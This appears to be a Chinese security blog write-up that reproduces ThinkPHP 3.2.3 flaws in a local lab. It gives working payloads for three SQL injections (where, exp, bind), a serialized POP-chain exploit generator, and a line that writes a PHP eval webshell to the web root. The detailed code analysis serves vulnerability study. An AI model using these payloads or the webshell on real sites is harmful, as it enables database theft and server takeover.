0%

ThinkPHP3漏洞探索

趁热打铁,把ThinkPHP3的相关漏洞都复现一下

ThinkPHP3

环境搭建

PHP5.5.9+ThinkPHP3.2.3

方法一

源码下载链接:http://m.lxywzjs.com/wap/article/index/artid/199.html

打开phpstudy,新建一个网站

将源码文件解压放到thinkphp3的文件夹内即可

方法二

像方法一那样打开phpstudy,新建一个网站

创建好网站后先下载下composer工具,可以从软件管理 => composer处下载

下载好后在管理打开composer

选择php版本为大于5.3的

然后执行命令安装

1
composer create-project topthink/thinkphp:v3.2.3 tp3

安装成功后将tp3文件夹内的所有文件移到根目录thinkphp3

最后在刚刚执行composer命令的终端更新一下即可

1
composer update

访问./index.php出现以下界面,说明环境搭建成功

数据库配置

配置文件位置ThinkPHP/Conf/convention.php

参数配置如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
...
return array(
...
/* 数据库设置 */
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'thinkphp3', // 数据库名
'DB_USER' => 'rev1ve', // 用户名
'DB_PWD' => 'rev1ve', // 密码
'DB_PORT' => '3306', // 端口
'DB_PREFIX' => 'think_', // 数据库表前缀
'DB_PARAMS' => array(), // 数据库连接参数
'DB_DEBUG' => false, // 数据库调试模式 开启后可以记录SQL日志
'DB_FIELDS_CACHE' => true, // 启用字段缓存
'DB_CHARSET' => 'utf8', // 数据库编码默认采用utf8
'DB_DEPLOY_TYPE' => 0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'DB_RW_SEPARATE' => false, // 数据库读写是否分离 主从式有效
'DB_MASTER_NUM' => 1, // 读写分离后 主服务器数量
'DB_SLAVE_NO' => '', // 指定从服务器序号
...
);

在thinkphp3下载一个管理工具phpMyAdmin,绑定thinkphp3网站

创建thinkphp3数据库,登录phpMyAdmin

创建表的字段如下(注意数据表前缀和配置文件相同)


ThinkPHP3.2.3 where注入漏洞

入口文件:Application/Home/Controller/IndexController.class.php

修改一下index()

1
2
3
4
5
public function index(){
$id=I('GET.id');
$data = M('user')->find($id);
var_dump($data);
}

POC

结合报错注入

1
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)#

执行POC,通过报错得到user

如果要执行查询表,注意表名是带前缀的think_user

1
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from think_user limit 1),0x7e),1)#

漏洞分析

我们在$id$data分别下断点

执行id=1',进行调试

跟进到ThinkPHP\Common\functions.phpI()方法,接收$name参数

这里的$name的值就为GET.id,我们下断点理解容易点

最后执行switch选择GET方法后break,$input数组为我们传参的id=1'

我们往下翻,由于$name不为空,那么来到第388行的elseif语句

这里进行判断$input数组的$name是否为空,而$name就是我们GET传参的参数id。判断为真后赋值给$data

我们继续在第391行打上断点,调试发现执行完$filters = isset($filter) ? $filter : C('DEFAULT_FILTER');

$filters被赋值为htmlspecialchars

这部分代码无关紧要,我们跳到第406行看看

这里将$filters赋值给$filter也就是htmlspecialchars,然后如果该函数存在且$data不为数组,那么执行参数过滤也就是执行htmlspecialchars($data)。继续往后看,这里代码逻辑是如果$data为数组,那么执行以下命令

1
array_walk_recursive($data, 'think_filter')

我们把GET传参改为?id[where]=1',并在这里下断点进行调试

跟进发现跳转到think_filter()方法,这里就是进行一个对SQL注入关键字的过滤

最后返回值$data1',这里的返回值作为后面find方法的输入(非常关键)

回到Application\Home\Controller\IndexController.class.php,把第9行和前面打的断点去掉,只留下第10行的断点,调试跟进一下

来到ThinkPHP\Common\functions.phpM()方法

这里传参进来的是$name为user,由于$name不存在:所以$class默认赋值为Think\Model$guid也由于$connection为空所以进行拼接,我们下断点看看,结果为user_Think\Model

然后因为$_model数组为空,所以这里进行实例化Model

下断点调试,直接F10逐过程跟进到ThinkPHP\Library\Think\Model.class.phpModel类的find方法

这里我们单步调试一行行看,注意$options就是我们前面提到的返回值$data,如果为字符型或者数字型,那么赋值给$options数组的where键。类似下面在这种格式

1
$options=["where" => ["id" => "1'"]];

这个地方是where注入的核心点,我们可以传递数组$data绕过if语句的赋值,通过类似污染的手段直接对$options['where']赋值来绕过后面的数据验证,具体分析后面会提到

继续往后看这里调用_parseOptions()方法

跟进一下,注意到存在对传参数据进行验证

这里if条件均为真,继续到foreach对字段进行匹配,接着跟进一下_parseType()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function _parseType(&$data, $key)
{
if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
$fieldType = strtolower($this->fields['_type'][$key]);
if (false !== strpos($fieldType, 'enum')) {
// 支持ENUM类型优先检测
} elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
$data[$key] = intval($data[$key]);
} elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
$data[$key] = floatval($data[$key]);
} elseif (false !== strpos($fieldType, 'bool')) {
$data[$key] = (bool) $data[$key];
}
}
}

在这里会把 id 进行强制类型转换,我们的1'变成1然后返回给_parseOptions(),最终带入$this->db->select($options)进行查询从而避免注入问题

总结

注入点是where键,链子:传入id=1' -> I() -> find() -> _parseOptions() -> _parseType()

而我们的id参数被改变的位置就在_parseType()中,进入这个方法的位置是ThinkPHP/Library/Think/Model.class.php:704

1
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))

我们要不经过if语句才能不被强制类型转换,这里破坏的条件是is_array($options['where']),我们前面有讲到GET传参会赋值给where键,那么我们可以直接赋值where键即可实现绕过

被强制类型转换

1
?id=1'         #变为1,即查询id=1的数据

直接赋值绕过

1
?id[where]=1'       #查询不到id=1'的数据,成功注入

以上就是整个where注入的代码逻辑


ThinkPHP3.2.3 exp注入漏洞

入口文件:Application/Home/Controller/IndexController.class.php

修改一下index()

1
2
3
4
5
6
public function index(){
$User = D('user');
$map = array('id' => $_GET['id']);
$user = $User->where($map)->find();
var_dump($user);
}

POC

执行POC,通过报错得到user

1
?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

注:这里后面的是==

漏洞分析

在入口文件的第9行下断点,执行?id=1'

调试跟进一下,在第654行下断点

可以发现这里$class经过parse_res_name()处理赋值为Home\Model\UserModel。由于该类不存在进入elseif语句,然后if语句为false,继续进入else语句,$class赋值为\Common\Model\userModel。接着如果该类还不存在,那么实例化Think\Model

最后返回Model对象

回到入口文件后接收GET参数id,然后调用Model类的where()方法

$where就是我们传参的数组["id" => "1'"],而这里前面的if语句都不满足,直接跳到最后。因为options数组不存在where键,所以执行$this->options['where'] = $where;

继续跟进到ThinkPHP\Library\Think\Model.class.phpModel类的find方法,这里和where注入的代码逻辑差不多,不过我们没有绕过_parseType()方法。直接到$this->db->select($options);

在第822行下断点,调试跟进一下select()方法

在第1039行下断点,继续跟进buildSelectSql()方法

在第1060行下断点,继续跟进parseSql()方法

这里将$sql查询语句中的参数进行替换,我们的$option数组如下

所以我们在第1079行下断点跟进parseWhere()方法,由于$where是数组,进入else语句

然后foreach遍历where数组赋值,后面的if语句均为flase直接到第586行执行

1
$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);

这里$key要先经过parseKey()处理,继续跟进parseWhereItem()方法

这部分就是代码的核心,首先判断$val是否为数组,然后根据$val[0]的参数值不同来执行代码。接着如果$exp为bind或exp, $whereStr会将$key$val[1]进行拼接,所以我们payload如下

1
?id[0]=exp&id[1]==1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)

注:进行拼接的时候$val[1]需要有=,这样拼接后SQL查询语句才正确

最后再与where拼接替换到原SQL查询语句即可

1
... where `id` =1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)

以上就是整个exp注入的代码逻辑


ThinkPHP3.2.3 bind注入漏洞

入口文件:Application/Home/Controller/IndexController.class.php

修改一下index()

1
2
3
4
5
6
7
public function index(){
$User = M("user");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}

POC

执行POC,得到user

1
?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

注:这里为id[1]=0

漏洞分析

我们执行POC,在入口文件第12行下断点

单步调试,跟进ThinkPHP\Library\Think\Model.class.phpsave()方法

往下翻一下,这里代码逻辑和前面exp注入时分析的差不多

出现_parseOptions()方法进行强制类型转换

继续往下在第480行下断点,跟进一下

这里我们可以看到有调用parseWhere()方法

我们前面在exp注入分析的时候有提到过,会继续调用parseWhereItem()方法,然后根据$id[1]的值不同来执行代码,其中如果等于bind的话会与=:拼接

我们尝试传入以下代码

1
?id[0]=bind&id[1]=aa

可以发现SQL语句报错

不难发现多了个冒号变成:aa,怎么样可以消除掉冒号呢?

把GET传参改回POC,我们在第985行下断点跟进parseSet()方法

if语句不满足直接跳到第417的else语句,这里bind数组还是为空所以$name赋值为0,然后继续跟进bindParam()方法进行bind参数绑定,相当于得到$bind数组为[":0" =>"1"]

1
2
3
4
protected function bindParam($name, $value)
{
$this->bind[':' . $name] = $value;
}

这里了解参数绑定过程后,单步跳出回到update()方法

我们往下看注意第997行的execute()方法

跟进到 ThinkPHP/Library/Think/Db/Driver.class.php:207execute()

重点看下面代码

1
2
3
4
if (!empty($this->bind)) {
$that = $this;
$this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind));
}

这里的function是匿名函数,接收参数$val然后进行escapeString()处理(也就是转义处理),然后将$val拼接两个单引号并返回值。

1
2
3
4
5
6
7
8
9
10
//匿名函数
function ($val) use ($that) {
return '\'' . $that->escapeString($val) . '\'';
}

//转义处理
public function escapeString($str)
{
return addslashes($str);
}

这里使用了array_map()函数为数组的每个元素应用回调函数(上面说到的匿名函数),而bind数组为[":0" =>"1"],所以执行结果为'1',bind数组变为为[":0" =>"'1'"]

最后执行strtr()函数,我们在PHP中文手册查找下此函数,看下给的DEMO其实不难理解

具体就以下两点

  • 第一个参数是目标字符串
  • 第二个参数是替换规则,由数组决定

所以我们bind数组就是替换规则,即:0替换成'1'。我们前面提到过id[0]=bind会使得查询语句与:拼接,而在这里我们让id[1]的值与:拼接后构造出:0,然后再被替换成'1'。所以这也是为什么我们POC会是0不是其他值

我们下断点看看前后变化,可以发现经过构造使得SQL查询语句的:0均被替换

以上就是整个bind注入的代码逻辑


ThinkPHP3.2.3 反序列化漏洞

入口文件:Application/Home/Controller/IndexController.class.php

修改一下index()

1
2
3
4
public function index(){
echo base64_decode($_GET['payload']);
$output=unserialize(base64_decode($_GET['payload']));
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php

namespace Think\Image\Driver {

use Think\Session\Driver\Memcache;

class Imagick
{
private $img;
public function __construct()
{
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver {

use Think\Model;

class Memcache
{
protected $handle = null;
public function __construct()
{
$this->handle = new Model();
}
}
}

namespace Think {

use Think\Db\Driver\Mysql;

class Model
{
protected $pk;
protected $db;
protected $data = array();
public function __construct()
{
$this->db = new Mysql();
$this->pk = "id"; //表的字段名
$this->data[$this->pk] = array(
"table" => "think_user where 0 or updatexml(1,concat(0x7e,user(),0x7e),1)#",
"where" => "1=1"
);
}
}
}

namespace Think\Db\Driver {
class Mysql
{
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "rev1ve",
"password" => "rev1ve"
);
}
}

namespace {
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}

执行结果如下

不过由于报错注入权限比较低,我们要想拿shell的话需要写入木马,所以可以开启堆叠后写入一句话木马

修改下table键就行

1
think_user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# 

POP链分析

因为大多数反序列化漏洞,都是由__destruct()魔术方法引起的,因此全局搜索public function __destruct()

注:在寻找__destruct()可用的魔术方法需遵循“可控变量尽可能多”的原则

比如下图这个,没啥可控参数就不好利用

这里我们选择ThinkPHP\Library\Think\Image\Driver\Imagick.class.php__dustruct()方法

如果$this-img不为空,那么调用destroy()

注:这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时ThinkPHP会报错,而在PHP5版本中不会报错,这也是为什么我们选择PHP5版本搭建

继续全局搜索destroy()方法,跟进ThinkPHP\Library\Think\Session\Driver\Memcache.class.php

1
2
3
4
public function destroy($sessID)
{
return $this->handle->delete($this->sessionName . $sessID);
}

这里的delete()方法的参数看似可控,其实不可控,因为下方全局搜索后,delete()方法需要的参数大多数都为array形式,而上方传入的是$this->sessionName.$sessID,即使$this->sesionName设置为数组array,但是$sessID如果为空值,在PHP中,用.连接符连接,得到的结果为字符串array

虽然不可控,但我们还是全局搜索一下

注意到ThinkPHP\Mode\Lite\Model.class.php这里的delete()方法又调用了一次delete()方法,而这里传入的参数是data[pk],我们跟进一下getPk(),发现完全可控

1
2
3
4
public function getPk()
{
return $this->pk;
}

我们在这个方法先添加一行代码echo "<br>"."success";,验证一下思路是否正确

前面一共涉及到三个类,链子为Imagick -> Memcache -> Model,然后构造demo如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace Think\Image\Driver {

use Think\Session\Driver\Memcache;

class Imagick
{
private $img;
public function __construct()
{
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver {

use Think\Model;

class Memcache
{
protected $handle = null;
public function __construct()
{
$this->handle = new Model();
}
}
}

namespace Think {
class Model
{
}
}

namespace {
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}

执行结果如下

接下来继续分析,这里$data可控,然后再次调用delete()方法说明$options可控

我们往下翻注意到第528行有调用delete()方法,那么我们就可以调用自带的数据库类 Mysql.class.php 中的 delete() 方法。不过这里前提是绕过第517行的if语句,所以按照注释我们设 where 键为1=1即可

结合全局搜索的结果我们跟进到ThinkPHP\Library\Think\Db\Driver.class.php看看

跟进parseTable()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    protected function parseTable($tables)
{
if (is_array($tables)) {
// 支持别名定义
$array = array();
foreach ($tables as $table => $alias) {
if (!is_numeric($table)) {
$array[] = $this->parseKey($table) . ' ' . $this->parseKey($alias);
} else {
$array[] = $this->parseKey($alias);
}

}
$tables = $array;
} elseif (is_string($tables)) {
$tables = explode(',', $tables);
array_walk($tables, array(&$this, 'parseKey'));
}
return implode(',', $tables);
}

这里只调用了parseKey()方法,继续跟进

1
2
3
4
protected function parseKey(&$key)
{
return $key;
}

没有过滤,直接将传入的参数返回

回到Driver.class.php,我们注意$sql是将$tableDELETE FROM字符串进行拼接,所以这里我们可以通过options[table]去进行报错注入。整理一下POP链为:Imagick -> Memcache -> Model -> Mysql,我们最后只需在Mysql类配置数据库连接信息即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
namespace Think\Db\Driver {
class Mysql
{
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "rev1ve",
"password" => "rev1ve"
);
}
}

以上就是反序列化漏洞的完整分析


参考文章